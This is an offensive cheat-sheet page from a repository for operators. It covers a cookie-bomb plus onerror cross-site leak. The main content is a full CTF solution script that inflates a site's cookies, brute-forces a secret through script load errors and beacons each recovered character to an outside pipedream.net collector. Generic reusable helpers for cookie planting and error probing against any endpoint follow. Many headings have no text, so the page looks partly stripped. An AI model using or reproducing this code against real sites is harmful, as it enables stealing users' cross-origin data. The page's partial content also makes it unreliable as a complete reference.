repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
cookie-bomb-onerror-xs-leak.mdMarkdown201 lines12.1 KiBsource raw download

Cookie Bomb + Onerror XS Leak#

This technique combines:

High level idea

When does this work

Note on server errors used as the oracle

Practical example (angstromCTF 2022)

The following script (from a public writeup) abuses a feature that lets the attacker insert arbitrary cookies, then loads a cross-origin search endpoint as a script. When the query is correct, the server performs a redirect that, together with the cookie bloat, exceeds server limits and returns an error status, so script.onerror fires; otherwise nothing happens.[2]

<>'";
<form action="https://sustenance.web.actf.co/s" method="POST">
  <input id="f" /><input name="search" value="a" />
</form>
<script>
  const $ = document.querySelector.bind(document)
  const sleep = (ms) => new Promise((r) => setTimeout(r, ms))
  let i = 0
  const stuff = async (len = 3500) => {
    let name = Math.random()
    $("form").target = name
    let w = window.open("", name)
    $("#f").value = "_".repeat(len)
    $("#f").name = i++
    $("form").submit()
    await sleep(100)
  }
  const isError = async (url) => {
    return new Promise((r) => {
      let script = document.createElement("script")
      script.src = url
      script.onload = () => r(false)
      script.onerror = () => r(true)
      document.head.appendChild(script)
    })
  }
  const search = (query) => {
    return isError(
      "https://sustenance.web.actf.co/q?q=" + encodeURIComponent(query)
    )
  }
  const alphabet =
    "etoanihsrdluc_01234567890gwyfmpbkvjxqz{}ETOANIHSRDLUCGWYFMPBKVJXQZ"
  const url = "//en4u1nbmyeahu.x.pipedream.net/"
  let known = "actf{"
  window.onload = async () => {
    navigator.sendBeacon(url + "?load")
    await Promise.all([stuff(), stuff(), stuff(), stuff()])
    await stuff(1600)
    navigator.sendBeacon(url + "?go")
    while (true) {
      for (let c of alphabet) {
        let query = known + c
        if (await search(query)) {
          navigator.sendBeacon(url, query)
          known += c
          break
        }
      }
    }
  }
</script>

Why the popup (window.open)?

2024–2025 notes on cookie availability

Tracking-Protection-safe first-party planting helper

When you need to stuff dozens of cookies from a cross-site context, stage a temporary top-level window and fire a series of oversized form submissions into the vulnerable Set-Cookie endpoint:

async function plantFirstPartyCookies(endpoint, fields) {
  for (let i = 0; i < 5; i++) {
    const name = crypto.randomUUID();
    const form = Object.assign(document.createElement('form'), {action:endpoint, method:'POST', target:name});
    Object.entries(fields).forEach(([k, v]) => {
      const input = document.createElement('input');
      input.name = k;
      input.value = v + '_'.repeat(400 + 120 * i);
      form.appendChild(input);
    });
    document.body.appendChild(form);
    window.open('about:blank', name, 'noopener');
    form.submit();
    await new Promise(r => setTimeout(r, 120));
    form.remove();
  }
}

Call it right before you begin probing so every oracle run starts with a freshly inflated cookie jar.

Generic probing helper If you already have a way to set many cookies on the target origin (first-party), you can reuse this minimal oracle against any endpoint whose success/failure leads to different network outcomes (status/MIME/redirect):

function probeError(url) {
  return new Promise((resolve) => {
    const s = document.createElement('script');
    s.src = url;
    s.onload = () => resolve(false);  // loaded successfully
    s.onerror = () => resolve(true);  // failed (e.g., 4xx/5xx, wrong MIME, blocked)
    document.head.appendChild(s);
  });
}

Alternative tag oracle (stylesheet)

function probeCSS(url) {
  return new Promise((resolve) => {
    const l = document.createElement('link');
    l.rel = 'stylesheet';
    l.href = url;
    l.onload = () => resolve(false);
    l.onerror = () => resolve(true);
    document.head.appendChild(l);
  });
}

Advanced: de Bruijn–based cookie packing (CTF-proven)

const ALPH = '_{}0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
function deBruijn(k, n, alphabet=ALPH){
  const a = Array(k * n).fill(0), seq=[];
  (function db(t,p){
    if(t>n){ if(n%p===0) for(let j=1;j<=p;j++) seq.push(a[j]); }
    else { a[t]=a[t-p]; db(t+1,p); for(let j=a[t-p]+1;j<k;j++){ a[t]=j; db(t+1,t);} }
  })(1,1);
  return seq.map(i=>alphabet[i]).join('');
}

Tips to build the oracle

Common header/URL limits (useful thresholds)

Browser hardening watchlist (2025+)

Related XS-Search tricks

Url Max Length Client Side

Notes

References#